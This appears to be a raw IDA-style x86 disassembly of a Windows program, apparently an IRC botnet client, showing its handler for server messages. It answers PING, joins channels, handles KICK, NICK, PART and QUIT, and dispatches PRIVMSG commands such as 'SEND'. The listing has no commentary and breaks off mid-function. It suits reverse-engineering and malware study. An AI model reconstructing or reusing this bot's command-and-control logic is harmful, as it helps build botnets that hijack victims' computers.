call ds:dword_4F534C ; Sleep
jmp short loc_401C52
; ---------------------------------------------------------------------------
loc_401C95: ; CODE XREF: sub_401B4F+137j
cmp esi, 0FFFFFFFDh
jz short loc_401CBF
cmp esi, 0FFFFFFFEh
jz short loc_401CBB
cmp esi, 0FFFFFFFFh
jz loc_401BF7
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401C4F
jmp loc_401BFE
; ---------------------------------------------------------------------------
loc_401CBB: ; CODE XREF: sub_401B4F+14Ej
push 1
jmp short loc_401CC1
; ---------------------------------------------------------------------------
loc_401CBF: ; CODE XREF: sub_401B4F+149j
push 2
loc_401CC1: ; CODE XREF: sub_401B4F+16Ej
pop eax
jmp loc_401BF9
sub_401B4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401CC7(int Src,int,int,int,char *Source,int,int,int,int,FILE *File,int)
sub_401CC7 proc near ; CODE XREF: sub_401B4F+12Ap
var_5D98 = dword ptr -5D98h
var_5D88 = dword ptr -5D88h
var_5988 = byte ptr -5988h
var_5588 = byte ptr -5588h
var_53F8 = byte ptr -53F8h
var_51F8 = byte ptr -51F8h
Dest = byte ptr -50F4h
FullPath = byte ptr -4FF4h
var_4EF0 = byte ptr -4EF0h
var_4DF0 = byte ptr -4DF0h
var_4CF0 = byte ptr -4CF0h
var_4BF0 = byte ptr -4BF0h
var_4AF0 = byte ptr -4AF0h
var_48F0 = byte ptr -48F0h
var_47EC = byte ptr -47ECh
var_46EC = byte ptr -46ECh
var_45EC = dword ptr -45ECh
var_4588 = byte ptr -4588h
Str = byte ptr -4488h
var_4288 = byte ptr -4288h
var_4188 = byte ptr -4188h
var_4088 = byte ptr -4088h
var_3F88 = dword ptr -3F88h
var_3F84 = byte ptr -3F84h
var_3F04 = byte ptr -3F04h
var_3E00 = byte ptr -3E00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = dword ptr -3CE8h
var_3CE4 = byte ptr -3CE4h
var_3C64 = byte ptr -3C64h
var_3BE4 = byte ptr -3BE4h
var_3B64 = byte ptr -3B64h
var_3AE4 = byte ptr -3AE4h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = byte ptr -3A54h
var_37CD = byte ptr -37CDh
var_37CC = byte ptr -37CCh
var_36C8 = dword ptr -36C8h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36AC = dword ptr -36ACh
var_36A8 = dword ptr -36A8h
var_36A4 = byte ptr -36A4h
var_3624 = byte ptr -3624h
var_35A4 = byte ptr -35A4h
var_3524 = byte ptr -3524h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = byte ptr -3490h
var_3410 = byte ptr -3410h
var_3390 = byte ptr -3390h
var_3310 = byte ptr -3310h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = byte ptr -327Ch
var_31FC = byte ptr -31FCh
var_317C = byte ptr -317Ch
var_30FC = byte ptr -30FCh
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = byte ptr -3068h
var_2FE8 = byte ptr -2FE8h
var_2F68 = byte ptr -2F68h
var_2EE8 = byte ptr -2EE8h
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
Filename = byte ptr -2E58h
var_2D54 = dword ptr -2D54h
var_2D50 = byte ptr -2D50h
var_2C4C = byte ptr -2C4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = dword ptr -2B40h
var_2B3C = byte ptr -2B3Ch
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AB0 = dword ptr -2AB0h
var_2AA8 = byte ptr -2AA8h
var_2990 = byte ptr -2990h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_2778 = byte ptr -2778h
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = byte ptr -2650h
var_25D0 = byte ptr -25D0h
var_24D0 = byte ptr -24D0h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = byte ptr -23A8h
var_2328 = byte ptr -2328h
var_22A8 = byte ptr -22A8h
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = byte ptr -2214h
var_2194 = byte ptr -2194h
var_2114 = byte ptr -2114h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = byte ptr -2080h
var_2000 = byte ptr -2000h
var_1F80 = byte ptr -1F80h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = byte ptr -1EECh
var_1DEC = byte ptr -1DECh
var_1D6C = dword ptr -1D6Ch
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D48 = byte ptr -1D48h
var_1D34 = byte ptr -1D34h
var_1C30 = byte ptr -1C30h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B94 = byte ptr -1B94h
var_1B80 = byte ptr -1B80h
var_1A7C = byte ptr -1A7Ch
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = byte ptr -19E4h
var_1964 = byte ptr -1964h
var_1924 = byte ptr -1924h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = byte ptr -1808h
var_17D0 = byte ptr -17D0h
var_17B4 = byte ptr -17B4h
var_177C = byte ptr -177Ch
var_1778 = byte ptr -1778h
var_16F8 = byte ptr -16F8h
var_16B8 = byte ptr -16B8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = byte ptr -1614h
var_1594 = byte ptr -1594h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = byte ptr -1504h
var_14F4 = byte ptr -14F4h
var_1474 = byte ptr -1474h
var_13F4 = dword ptr -13F4h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = byte ptr -13D4h
var_1354 = byte ptr -1354h
var_12D4 = byte ptr -12D4h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1230 = byte ptr -1230h
var_11B0 = byte ptr -11B0h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_108C = byte ptr -108Ch
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = byte ptr -0FE8h
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = byte ptr -0F54h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = byte ptr -0EC0h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = byte ptr -0E30h
var_E10 = byte ptr -0E10h
var_E00 = byte ptr -0E00h
var_D80 = dword ptr -0D80h
var_D7C = byte ptr -0D7Ch
var_CFC = byte ptr -0CFCh
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = byte ptr -0C54h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
Drive = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
Str1 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
Count = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
Dst = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
SubStr = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
Args = byte ptr -8Ch
Format = dword ptr -88h
Str2 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Source = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
File = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D88h
call __alloca_probe
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_A4], 3
mov [ebp+var_10], ebx
mov [ebp+var_A8], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C4], ebx
call _memset
push 1Bh ; Count
lea eax, [ebp+Str1]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 18h
cmp [ebp+Src], ebx
jz loc_402085
push esi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
dec esi
lea eax, [ebp+Str]
push esi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Str]
push offset SubStr ; " :"
push eax ; Str
call _strstr
mov [ebp+var_C], eax
lea eax, [ebp+Str]
push esi ; Count
push eax ; Source
lea eax, [ebp+var_4AF0]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_4AF0]
push offset Delim ; " "
push eax ; Str
call _strtok
add esp, 34h
mov [ebp+var_90], eax
lea esi, [ebp+Args]
push 1Fh
pop edi
loc_401D92: ; CODE XREF: sub_401CC7+DEj
push offset asc_43FB90 ; " "
push ebx ; Str
call _strtok
mov [esi], eax
pop ecx
add esi, 4
dec edi
pop ecx
jnz short loc_401D92
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_402085
cmp dword ptr [ebp+Args], ebx
jz loc_402085
push 100h ; Size
lea eax, [ebp+var_960]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401DDF: ; CODE XREF: sub_401CC7+14Aj
mov eax, [ecx]
cmp eax, ebx
jz short loc_401E0B
cmp byte ptr [eax], 2Dh
jnz short loc_401E13
cmp [eax+2], bl
jnz short loc_401E13
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401E0B: ; CODE XREF: sub_401CC7+11Cj
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401DDF
loc_401E13: ; CODE XREF: sub_401CC7+121j
; sub_401CC7+126j
cmp [ebp+var_8ED], bl
jz short loc_401E1E
mov [ebp+var_8], edi
loc_401E1E: ; CODE XREF: sub_401CC7+152j
cmp [ebp+var_8F2], bl
jz short loc_401E2C
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401E2C: ; CODE XREF: sub_401CC7+15Dj
cmp byte ptr [esi], 0Ah
jz short loc_401E66
push 7Fh ; Count
lea eax, [ebp+var_E00]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [esi+1]
push 17h ; Count
push eax ; Source
lea eax, [ebp+var_C0]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_C0]
push offset asc_43FB94 ; "!"
push eax ; Str
call _strtok
add esp, 20h
loc_401E66: ; CODE XREF: sub_401CC7+168j
push esi ; Str2
push offset aPing ; "PING"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401EB7
push dword ptr [ebp+Args] ; Args
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401F5B
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 10h
jmp loc_401F5B
; ---------------------------------------------------------------------------
loc_401EB7: ; CODE XREF: sub_401CC7+1AEj
mov esi, dword ptr [ebp+Args]
push esi ; Str2
push offset a001 ; "001"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409CA2
push esi ; Str2
push offset a005 ; "005"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409CA2
push esi ; Str2
push offset a302_0 ; "302"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401F1F
push offset a@ ; "@"
push [ebp+Str2] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401F5B
inc eax
push 9Fh ; Count
push eax ; Source
push [ebp+arg_1C] ; Dest
call _strncpy
jmp short loc_401F58
; ---------------------------------------------------------------------------
loc_401F1F: ; CODE XREF: sub_401CC7+22Fj
push esi ; Str2
push offset a433_0 ; "433"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401F62
push ebx ; Str1
push dword_43F0A0 ; int
push dword_43F09C ; int
push [ebp+Source] ; Dest
call sub_40B44F
add esp, 10h
push [ebp+Source] ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
loc_401F58: ; CODE XREF: sub_401CC7+256j
add esp, 0Ch
loc_401F5B: ; CODE XREF: sub_401CC7+1CFj
; sub_401CC7+1EBj ...
mov eax, edi
jmp loc_402088
; ---------------------------------------------------------------------------
loc_401F62: ; CODE XREF: sub_401CC7+267j
mov esi, [ebp+arg_18]
mov [ebp+var_2C8], 3
mov edi, 80h
loc_401F74: ; CODE XREF: sub_401CC7+2D2j
lea eax, [ebp+var_E00]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_401F91
mov [ebp+var_A8], 1
loc_401F91: ; CODE XREF: sub_401CC7+2BEj
add esi, edi
dec [ebp+var_2C8]
jnz short loc_401F74
mov esi, dword ptr [ebp+Args]
push esi ; Str2
push offset aKick ; "KICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40208D
mov esi, [ebp+arg_18]
mov [ebp+File], 3
loc_401FC0: ; CODE XREF: sub_401CC7+389j
cmp [esi], bl
jz loc_40204B
push 7Fh ; Count
lea eax, [ebp+var_E00]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_C0]
add esp, 0Ch
test eax, eax
jz short loc_40204B
cmp [ebp+Str2], ebx
jz short loc_40204B
push [ebp+Str2] ; Str2
lea eax, [ebp+var_C0]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40204B
lea eax, [ebp+var_C0]
mov [esi], bl
push eax
lea eax, [ebp+Dst]
push offset asc_43FC14 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_C0]
push eax ; Args
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
lea eax, [ebp+Dst]
push eax
call sub_415C3F
add esp, 14h
loc_40204B: ; CODE XREF: sub_401CC7+2FBj
; sub_401CC7+31Bj ...
add esi, edi
dec [ebp+File]
jnz loc_401FC0
push [ebp+Str2] ; Str2
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402085
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8] ; Args
mov [eax], ebx
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
loc_40207A: ; CODE XREF: sub_401CC7+60Aj
; sub_401CC7+8C0j ...
push [ebp+arg_4] ; int
call sub_409CEE
loc_402082: ; CODE XREF: sub_401CC7+252Cj
; sub_401CC7+2549j ...
add esp, 10h
loc_402085: ; CODE XREF: sub_401CC7+5Bj
; sub_401CC7+E8j ...
push 1
loc_402087: ; CODE XREF: sub_401CC7+2A52j
pop eax
loc_402088: ; CODE XREF: sub_401CC7+296j
; sub_401CC7+2A74j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40208D: ; CODE XREF: sub_401CC7+2E9j
push esi ; Str2
push offset aNick ; "NICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4021E3
mov eax, [ebp+Format]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+Src], 3
mov [ebp+File], eax
loc_4020B6: ; CODE XREF: sub_401CC7+441j
lea eax, [ebp+var_E00]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402103
lea eax, [ebp+var_E00]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_402103
push [ebp+File] ; Source
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax ; Dest
call _strcpy
push [ebp+arg_1C] ; Source
push edi ; Dest
call _strcat
add esp, 10h
mov edi, 80h
loc_402103: ; CODE XREF: sub_401CC7+400j
; sub_401CC7+417j
add esi, edi
dec [ebp+Src]
jnz short loc_4020B6
lea eax, [ebp+var_C0]
test eax, eax
jz loc_402085
cmp [ebp+File], ebx
jz loc_402085
push [ebp+Source] ; Str2
lea eax, [ebp+var_C0]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40214B
push 0Fh ; Count
push [ebp+File] ; Source
push [ebp+Source] ; Dest
call _strncpy
loc_402143: ; CODE XREF: sub_401CC7+1C26j
add esp, 0Ch
jmp loc_402085
; ---------------------------------------------------------------------------
loc_40214B: ; CODE XREF: sub_401CC7+46Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_402150: ; CODE XREF: sub_401CC7+4AAj
cmp [edi], bl
jz short loc_402167
lea eax, [ebp+var_E00]
push eax ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402178
loc_402167: ; CODE XREF: sub_401CC7+48Bj
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402150
jmp loc_402085
; ---------------------------------------------------------------------------
loc_402178: ; CODE XREF: sub_401CC7+49Ej
lea eax, [ebp+var_E00]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+Src], eax
jz loc_402085
push eax ; Str
call _strlen
push [ebp+File] ; Str
mov edi, eax
call _strlen
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_402085
push [ebp+Src]
shl esi, 7
push [ebp+File]
add esi, [ebp+arg_18]
push offset aSS_1 ; ":%s%s"
push esi ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_45EC]
push ebx ; int
push eax ; int
push [ebp+arg_8] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 24h
jmp loc_402085
; ---------------------------------------------------------------------------
loc_4021E3: ; CODE XREF: sub_401CC7+3D5j
push esi ; Str2
push offset aPart ; "PART"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402205
push esi ; Str2
push offset aQuit ; "QUIT"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402232
loc_402205: ; CODE XREF: sub_401CC7+52Bj
mov edi, [ebp+arg_18]
xor esi, esi
loc_40220A: ; CODE XREF: sub_401CC7+563j
cmp [edi], bl
jz short loc_402220
push [ebp+var_90] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402275
loc_402220: ; CODE XREF: sub_401CC7+545j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_40220A
mov esi, dword ptr [ebp+Args]
loc_402232: ; CODE XREF: sub_401CC7+53Cj
push esi ; Str2
push offset a353 ; "353"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4022D6
push [ebp+var_80] ; Str2
push [ebp+arg_8] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_402261
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_402261: ; CODE XREF: sub_401CC7+58Fj
push [ebp+var_80] ; Args
push offset asc_43FCB4 ; "-"
loc_402269: ; CODE XREF: sub_401CC7+28BDj
; sub_401CC7+2C3Dj ...
call sub_415CB3
loc_40226E: ; CODE XREF: sub_401CC7+1BD2j
pop ecx
loc_40226F: ; CODE XREF: sub_401CC7+7C37j
pop ecx
jmp loc_402085
; ---------------------------------------------------------------------------
loc_402275: ; CODE XREF: sub_401CC7+557j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dst]
push offset asc_43FC74 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_415C3F
push dword ptr [ebp+Args] ; Str2
push offset aPart_0 ; "PART"
call _strcmp
add esp, 18h
test eax, eax
jnz loc_402085
lea eax, [ebp+Dst]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n"
jmp loc_40207A
; ---------------------------------------------------------------------------
loc_4022D6: ; CODE XREF: sub_401CC7+57Aj
push esi ; Str2
push offset aPrivmsg ; "PRIVMSG"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402319
push esi ; Str2
push offset aNotice ; "NOTICE"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_402319
push esi ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_409B16
cmp dword_43F088, ebx
jz loc_409B16
loc_402319: ; CODE XREF: sub_401CC7+61Ej
; sub_401CC7+62Fj
push esi ; Str2
push offset aPrivmsg_0 ; "PRIVMSG"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4024A9
push esi ; Str2
push offset aNotice_0 ; "NOTICE"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4024A9
mov eax, [ebp+Str2]
inc [ebp+var_80]
mov [ebp+var_A4], 4
mov [ebp+Format], eax
loc_40235C: ; CODE XREF: sub_401CC7+89Ej
; sub_401CC7+8D4j ...
mov eax, [ebp+var_A4]
mov esi, eax
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax ; Str2
push offset dword_43FD4C ; Str1
mov [ebp+arg_8], eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_402739
push dword ptr [ebp+esi+Args] ; Str2
push offset aSend ; "SEND"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_402600
cmp [ebp+var_A8], ebx
jz loc_4025D9
push [ebp+esi+Format]
lea eax, [ebp+var_1B80]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+var_1B94]
push [ebp+esi+Str2]
